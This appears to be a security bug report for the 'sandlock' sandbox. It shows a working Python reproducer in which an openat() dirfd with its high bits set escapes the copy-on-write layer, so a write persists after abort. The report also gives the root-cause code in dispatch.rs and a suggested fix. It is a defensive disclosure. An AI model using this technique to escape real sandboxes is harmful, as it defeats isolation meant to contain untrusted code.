COW escape: openat with high bits set in dirfd bypasses the seccomp COW layer
The kernel reads the dirfd argument of openat-family syscalls as an int, so (1 << 32) | fd refers to fd. Several supervisor handlers truncate dirfd to i32 for the AT_FDCWD check but then use the untruncated 64-bit value in /proc/
Reproducer:
#!/usr/bin/env python3
"""COW escape: openat() with junk in the upper 32 bits of dirfd.
The kernel reads dirfd as an int, so (1 << 32) | fd means fd. Sandlock's COW
handler looked up /proc/<pid>/fd/<untruncated>, failed, and let the write hit
the real directory. A write under --workdir must not survive --on-exit abort.
Usage: repro_dirfd_high_bits.py [path/to/sandlock] (exit 1 = vulnerable)
"""
import ctypes, os, subprocess, sys, tempfile
CHILD = r'''
import ctypes, os, sys
libc = ctypes.CDLL("libc.so.6", use_errno=True)
libc.syscall.restype = ctypes.c_long
dfd = os.open(sys.argv[1] + "/sub", os.O_RDONLY | os.O_DIRECTORY)
for name, d in (("plain", dfd), ("hi", dfd | (1 << 32))):
# SYS_openat = 257 on x86_64 (use 56 on aarch64)
fd = libc.syscall(257, ctypes.c_long(d), (name + ".txt").encode(), os.O_WRONLY | os.O_CREAT, 0o644)
print(name, "ok" if fd >= 0 else "errno%d" % ctypes.get_errno())
'''
sandlock = sys.argv[1] if len(sys.argv) > 1 else "sandlock"
with tempfile.TemporaryDirectory() as tmp:
wd = os.path.join(tmp, "wd"); os.makedirs(wd + "/sub")
store = os.path.join(tmp, "store"); os.makedirs(store)
script = os.path.join(tmp, "child.py"); open(script, "w").write(CHILD)
cmd = [sandlock, "run", "-r", "/usr", "-r", "/lib", "-r", "/lib64", "-r", "/bin",
"-r", "/etc", "-r", "/proc", "-r", script, "-w", wd, "--workdir", wd,
"--fs-storage", store, "--on-exit", "abort", "--",
"python3", script, wd]
r = subprocess.run(cmd, capture_output=True, text=True)
print(r.stdout.strip(), r.stderr.strip())
plain = os.path.exists(wd + "/sub/plain.txt")
hi = os.path.exists(wd + "/sub/hi.txt")
print(f"after abort: plain.txt exists={plain} (want False), hi.txt exists={hi} (want False)")
if plain:
sys.exit("control failed: COW itself is not working")
sys.exit(1 if hi else 0)
Output on main:
plain ok
hi ok
after abort: plain.txt exists=False (want False), hi.txt exists=True (want False)
The control call (plain dirfd) is correctly discarded. The high-bit call is not.
Cause
crates/sandlock-core/src/cow/dispatch.rs:119-139 (resolve_at_path_with_virtual):
let dirfd32 = dirfd as i32;
if dirfd32 == libc::AT_FDCWD { ... }
// Relative to dirfd
if let Ok(base) = std::fs::read_link(format!("/proc/{}/fd/{}", notif.pid, dirfd)) { // untruncated
...
} else {
path.to_string() // silently falls back
}
The same pattern appears in chroot/dispatch.rs (build_virtual_path, open_exec_by_path, and the execveat AT_FDCWD comparison in handle_chroot_exec). In those the failure looks fail-closed (EACCES), except execveat, where a misclassified AT_FDCWD only changes the interpreter's script name. procfs.rs:953 already does this correctly (dirfd as i32).
I audited the seccomp BPF argument filters (seccomp_plan.rs) for the same class of bug. They only compare the low word, and in each case the kernel also truncates, so I found no problem there.
Suggested fix
Truncate dirfd once, as dirfd as i32, and use that value for both the AT_FDCWD check and the /proc lookup. I have a patch ready that does this, and I'll open a PR with it and the regression test. The read_link failure in cow/dispatch.rs could also return an error rather than silently falling back to the relative path.